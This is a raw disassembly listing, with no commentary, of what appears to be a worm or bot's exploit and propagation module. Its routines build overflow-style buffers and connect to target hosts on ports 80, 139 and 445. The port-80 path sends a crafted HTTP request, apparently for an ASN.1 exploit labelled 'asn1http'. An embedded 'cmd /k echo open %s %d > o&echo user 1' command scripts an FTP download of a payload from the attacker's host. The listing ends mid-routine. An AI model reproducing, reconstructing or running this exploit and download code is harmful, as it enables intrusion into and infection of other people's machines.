var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	near ptr loc_40283C+1
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_402E05
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_402E05
		push	esi
		lea	ecx, [ebp+var_30]
		call	near ptr loc_40283C+1
		lea	ecx, [ebp+var_20]
		call	near ptr loc_40283C+1
		lea	ecx, [ebp+var_50]
		call	near ptr loc_40283C+1
		lea	ecx, [ebp+var_18]
		call	near ptr loc_40283C+1
		lea	ecx, [ebp+var_40]
		call	near ptr loc_40283C+1
		lea	ecx, [ebp+var_38]
		call	near ptr loc_40283C+1
		lea	ecx, [ebp+var_28]
		call	near ptr loc_40283C+1
		push	4
		push	offset dword_422670
		lea	ecx, [ebp+var_30]
		call	sub_4029F5
		push	3
		push	offset dword_422678
		lea	ecx, [ebp+var_30]
		call	sub_4029F5
		lea	ecx, [ebp+var_30]
		call	sub_40297B
		lea	ecx, [ebp+var_30]
		call	sub_402A56
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_413630
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_4029F5
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_4029F5
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4029F5
		lea	ecx, [ebp+var_20]
		call	sub_40297B
		push	offset loc_4229F8
		lea	ecx, [ebp+var_50]
		call	sub_402A29
		lea	ecx, [ebp+var_50]
		call	sub_40297B
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_413630
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	near ptr loc_402842+5
		lea	ecx, [ebp+var_58]
		call	sub_40297B
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_402A92
		lea	ecx, [ebp+var_58]
		call	sub_4028D6
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_413630
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_402A29
		push	4
		push	offset dword_42267C
		lea	ecx, [ebp+var_18]
		call	sub_4029F5
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_4029F5
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_4029F5
		lea	ecx, [ebp+var_18]
		call	sub_40297B
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_402A46
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_402A46
		lea	ecx, [ebp+var_40]
		call	sub_402A56
		lea	ecx, [ebp+var_18]
		call	sub_4028D6
		lea	ecx, [ebp+var_50]
		call	sub_4028D6
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_402A46
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_402A46
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_402A46
		lea	ecx, [ebp+var_38]
		call	sub_402A56
		lea	ecx, [ebp+var_20]
		call	sub_4028D6
		lea	ecx, [ebp+var_30]
		call	sub_4028D6
		lea	ecx, [ebp+var_40]
		call	sub_4028D6
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_413630
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_4029F5
		lea	ecx, [ebp+var_28]
		call	sub_40297B
		push	2
		push	offset dword_4229EC
		lea	ecx, [ebp+var_28]
		call	sub_4029F5
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_402A46
		lea	ecx, [ebp+var_28]
		call	sub_402A56
		lea	ecx, [ebp+var_38]
		call	sub_4028D6
		lea	ecx, [ebp+var_10]
		call	near ptr loc_40283C+1
		lea	ecx, [ebp+var_8]
		call	near ptr loc_40283C+1
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_402A46
		lea	ecx, [ebp+var_10]
		call	sub_4028EF
		lea	ecx, [ebp+var_28]
		call	sub_4028D6
		push	offset dword_4229E8
		lea	ecx, [ebp+var_8]
		call	sub_402A29
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_402A46
		lea	ecx, [ebp+var_8]
		call	sub_4028EF
		lea	ecx, [ebp+var_10]
		call	sub_4028D6
		push	offset dword_4229E4
		lea	ecx, [ebp+var_10]
		call	sub_402A29
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_402A46
		lea	ecx, [ebp+var_10]
		call	sub_4028EF
		lea	ecx, [ebp+var_8]
		call	sub_4028D6
		push	offset dword_4229D8
		lea	ecx, [ebp+var_8]
		call	sub_402A29
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_402A46
		lea	ecx, [ebp+var_8]
		call	sub_4028EF
		lea	ecx, [ebp+var_10]
		call	sub_4028D6
		push	offset dword_4229D4
		lea	ecx, [ebp+var_48]
		call	sub_402A29
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_402A46
		lea	ecx, [ebp+var_8]
		call	sub_4028D6
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_402E13
; ---------------------------------------------------------------------------


loc_402E05:				; CODE XREF: sub_402AB1+1Bj
					; sub_402AB1+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_402E13:				; CODE XREF: sub_402AB1+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_402AB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E17	proc near		; CODE XREF: sub_402EDB+A1p
					; sub_402EDB+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_41F1E0	; select
		cmp	eax, edi
		jnz	short loc_402E7E
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_41E196	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_402E82


loc_402E7E:				; CODE XREF: sub_402E17+54j
		xor	eax, eax
		jmp	short loc_402E92
; ---------------------------------------------------------------------------


loc_402E82:				; CODE XREF: sub_402E17+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	ds:dword_42F720


loc_402E92:				; CODE XREF: sub_402E17+69j
		pop	edi
		pop	esi
		leave
		retn
sub_402E17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E96	proc near		; CODE XREF: sub_402EDB+81p
					; sub_402EDB+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	ds:dword_42F704
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42F758
		cmp	eax, 4
		jz	short loc_402EC0
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_402EC0:				; CODE XREF: sub_402E96+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_42F758
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_402E96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402EDB	proc near		; CODE XREF: sub_402FB5+48p
					; sub_4032B0+181p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_413E5F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_402F04
		xor	al, al
		jmp	loc_402FB0
; ---------------------------------------------------------------------------


loc_402F04:				; CODE XREF: sub_402EDB+20j
		push	ebx
		push	0
		push	esi
		call	sub_413630
		push	2Fh
		push	offset dword_42270C
		push	esi
		call	sub_413690
		push	8
		lea	eax, [esi+31h]
		push	offset dword_42273C
		push	eax
		mov	[esi+2Fh], di
		call	sub_413690
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_413690
		push	6
		add	ebx, edi
		push	offset dword_42E33C
		push	ebx
		call	sub_413690
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_422684
		push	ebx
		call	sub_402E96
		add	esp, 48h
		test	al, al
		jnz	short loc_402F6C


loc_402F68:				; CODE XREF: sub_402EDB+B5j
		xor	bl, bl
		jmp	short loc_402FA7
; ---------------------------------------------------------------------------


loc_402F6C:				; CODE XREF: sub_402EDB+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_402E17
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_402E96
		add	esp, 1Ch
		test	al, al
		jz	short loc_402F68
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_402E17
		add	esp, 10h
		mov	bl, 1


loc_402FA7:				; CODE XREF: sub_402EDB+8Fj
		push	esi
		call	sub_413ED3
		pop	ecx
		mov	al, bl


loc_402FB0:				; CODE XREF: sub_402EDB+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402EDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FB5	proc near		; CODE XREF: sub_4032B0+167p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_422748
		push	[ebp+arg_0]
		call	ds:dword_41F1DC	; send
		cmp	eax, 48h
		jnz	short loc_402FF0
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_402E17
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402FF0
		cmp	[ebp+var_20], 82h
		jz	short loc_402FF4


loc_402FF0:				; CODE XREF: sub_402FB5+1Bj
					; sub_402FB5+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_402FF4:				; CODE XREF: sub_402FB5+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_402EDB
		add	esp, 0Ch
		leave
		retn
sub_402FB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403007	proc near		; CODE XREF: sub_403053+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_41F238
		call	sub_414024
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_41F230
		fstp	[esp+10h+var_10]
		call	sub_413F02
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_414024
		inc	eax
		leave
		retn
sub_403007	endp


; =============== S U B	R O U T	I N E =======================================



sub_403053	proc near		; CODE XREF: sub_4031F5+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_41E2F3
		call	sub_4144F0
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_4036CA
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_403007
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_403095
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_403645


loc_403095:				; CODE XREF: sub_403053+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_4031B2
		mov	ebx, [ebp+10h]


loc_4030A4:				; CODE XREF: sub_403053+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_4030AE
		push	3
		jmp	short loc_4030C0
; ---------------------------------------------------------------------------


loc_4030AE:				; CODE XREF: sub_403053+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_4030B8
		push	2
		jmp	short loc_4030C0
; ---------------------------------------------------------------------------


loc_4030B8:				; CODE XREF: sub_403053+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_4030C1
		push	1


loc_4030C0:				; CODE XREF: sub_403053+59j
					; sub_403053+63j
		pop	ebx


loc_4030C1:				; CODE XREF: sub_403053+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_41F248
		fstp	[esp+40h+var_40]
		call	sub_41404B
		pop	ecx
		pop	ecx
		call	sub_414024
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_403100
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_403100:				; CODE XREF: sub_403053+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40316E
		add	[ebp-18h], eax


loc_403152:				; CODE XREF: sub_403053+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, ds:byte_422794[eax]
		push	eax
		push	1
		call	sub_4034C7
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_403152


loc_40316E:				; CODE XREF: sub_403053+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40318C
		push	dword ptr [ebp+14h]
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_403520
		mov	[ebp-18h], edi


loc_40318C:				; CODE XREF: sub_403053+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_4031A6
		sub	esi, [ebp-1Ch]


loc_403197:				; CODE XREF: sub_403053+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_4034C7
		dec	esi
		jnz	short loc_403197


loc_4031A6:				; CODE XREF: sub_403053+13Fj
		cmp	[ebp+10h], edi
		ja	loc_4030A4
		push	1
		pop	ebx


loc_4031B2:				; CODE XREF: sub_403053+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_4036CA
		push	ds:dword_41F240
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_403577
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_4036CA
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_403053	endp


; =============== S U B	R O U T	I N E =======================================



sub_4031F5	proc near		; CODE XREF: sub_4032B0+14Ap
		mov	eax, offset loc_41E310
		call	sub_4144F0
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_42E348
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_403053
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_413E5F
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40323F
		xor	bl, bl
		jmp	short loc_403283
; ---------------------------------------------------------------------------


loc_40323F:				; CODE XREF: sub_4031F5+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_41F250
		cmp	ecx, ebx
		jnz	short loc_40324D
		mov	ecx, eax


loc_40324D:				; CODE XREF: sub_4031F5+54j
		cmp	[ebp+18h], ebx
		jz	short loc_403255
		mov	eax, [ebp+18h]


loc_403255:				; CODE XREF: sub_4031F5+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_413B2A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	ds:dword_42F758
		cmp	eax, esi
		jz	short loc_40327A
		xor	bl, bl
		jmp	short loc_40327C
; ---------------------------------------------------------------------------


loc_40327A:				; CODE XREF: sub_4031F5+7Fj
		mov	bl, 1


loc_40327C:				; CODE XREF: sub_4031F5+83j
		push	edi
		call	sub_413ED3
		pop	ecx


loc_403283:				; CODE XREF: sub_4031F5+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_4036CA
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_4036CA
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4031F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032B0	proc near		; CODE XREF: sub_405C33+1E6p
					; DATA XREF: seg002:off_4236A4o

var_624		= byte ptr -624h
var_424		= byte ptr -424h
var_423		= byte ptr -423h
var_395		= byte ptr -395h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_BB		= byte ptr  0C3h

		push	ebp
		mov	ebp, esp
		sub	esp, 624h
		and	[ebp+var_424], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_423]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_424]
		push	offset sub_422940
		push	eax
		call	sub_413690
		add	esp, 0Ch
		mov	eax, offset byte_428290
		push	eax
		push	eax
		push	ds:dword_42E350
		push	[ebp+arg_0]
		call	sub_408619
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp+var_395]
		push	400h
		push	eax
		call	sub_413B2A
		add	eax, 90h
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		push	164h
		lea	eax, [ebp+var_24]
		push	offset sub_4227D8
		push	eax
		call	sub_402AB1
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp+var_8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_403356
		xor	eax, eax
		jmp	loc_4034BA
; ---------------------------------------------------------------------------


loc_403356:				; CODE XREF: sub_4032B0+9Dj
		mov	[ebp+var_C], esi


loc_403359:				; CODE XREF: sub_4032B0+1A9j
		test	esi, esi
		jnz	loc_40345F
		push	6
		push	1
		push	2
		call	ds:dword_41F1D8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403447
		xor	eax, eax
		lea	edi, [ebp+var_1A]
		stosd
		push	[ebp+arg_A0]
		stosd
		stosd
		stosw
		mov	[ebp+var_1C], 2
		call	ds:dword_42F708
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	ds:dword_42F748
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_42F6B0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40343C
		cmp	[ebp+arg_A0], 50h
		jnz	short loc_403404
		mov	al, [ebp+arg_BB]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp+var_20], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_4036CA
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, esi
		call	sub_403706
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_4031F5
		add	esp, 1Ch
		jmp	short loc_403439
; ---------------------------------------------------------------------------


loc_403404:				; CODE XREF: sub_4032B0+112j
		cmp	[ebp+arg_A0], 8Bh
		jnz	short loc_40341E
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_402FB5
		jmp	short loc_403436
; ---------------------------------------------------------------------------


loc_40341E:				; CODE XREF: sub_4032B0+15Ej
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_40343C
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_402EDB


loc_403436:				; CODE XREF: sub_4032B0+16Cj
		add	esp, 0Ch


loc_403439:				; CODE XREF: sub_4032B0+152j
		movzx	esi, al


loc_40343C:				; CODE XREF: sub_4032B0+105j
					; sub_4032B0+178j
		push	ebx
		call	ds:dword_42F7A0
		test	esi, esi
		jnz	short loc_403452


loc_403447:				; CODE XREF: sub_4032B0+C2j
		push	3E8h
		call	ds:dword_41F058	; Sleep


loc_403452:				; CODE XREF: sub_4032B0+195j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 2
		jl	loc_403359


loc_40345F:				; CODE XREF: sub_4032B0+ABj
		lea	ecx, [ebp+var_8]
		call	sub_4028D6
		test	esi, esi
		jz	short loc_4034B8
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		add	eax, offset aAsn1http ;	"asn1http"
		push	eax
		push	offset dword_422A04
		lea	eax, [ebp+var_624]
		push	200h
		push	eax
		call	sub_413B2A
		lea	eax, [ebp+var_624]
		push	eax
		call	sub_409615
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	ds:dword_4236A8[eax]
		lea	eax, dword_4236A8[eax]


loc_4034B8:				; CODE XREF: sub_4032B0+1B9j
		mov	eax, esi


loc_4034BA:				; CODE XREF: sub_4032B0+A1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4032B0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E2D4


loc_4034BF:				; CODE XREF: sub_41E2D4+3j
					; seg000:0041E2EDj ...
		push	1
		call	sub_4036CA
		retn
; END OF FUNCTION CHUNK	FOR sub_41E2D4

; =============== S U B	R O U T	I N E =======================================



sub_4034C7	proc near		; CODE XREF: sub_403053+110p
					; sub_403053+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, ds:dword_41F240
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4034E1
		call	sub_41DE40


loc_4034E1:				; CODE XREF: sub_4034C7+13j
		test	ebx, ebx
		jbe	short loc_403518
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_403645
		test	al, al
		jz	short loc_403518
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_413630
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_403518:				; CODE XREF: sub_4034C7+1Cj
					; sub_4034C7+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4034C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_403520	proc near		; CODE XREF: sub_403053+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ds:dword_41F240
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40353A
		call	sub_41DE40


loc_40353A:				; CODE XREF: sub_403520+13j
		test	ebx, ebx
		jbe	short loc_40356F
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_403645
		test	al, al
		jz	short loc_40356F
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_413690
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40356F:				; CODE XREF: sub_403520+1Cj
					; sub_403520+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403520	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403577	proc near		; CODE XREF: sub_403053+17Cp
					; sub_41DE9A+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40358F
		call	sub_41E06C


loc_40358F:				; CODE XREF: sub_403577+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_4035A1
		mov	esi, [ebp+arg_8]


loc_4035A1:				; CODE XREF: sub_403577+25j
		cmp	edi, ebx
		jnz	short loc_4035C3
		push	ds:dword_41F240
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40373B
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40373B
		jmp	short loc_40363C
; ---------------------------------------------------------------------------


loc_4035C3:				; CODE XREF: sub_403577+2Cj
		test	esi, esi
		jbe	short loc_403606
		cmp	esi, eax
		jnz	short loc_403606
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4035D7
		mov	eax, offset dword_41F250


loc_4035D7:				; CODE XREF: sub_403577+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_403606
		push	1
		mov	ecx, edi
		call	sub_4036CA
		mov	eax, [ebx+4]
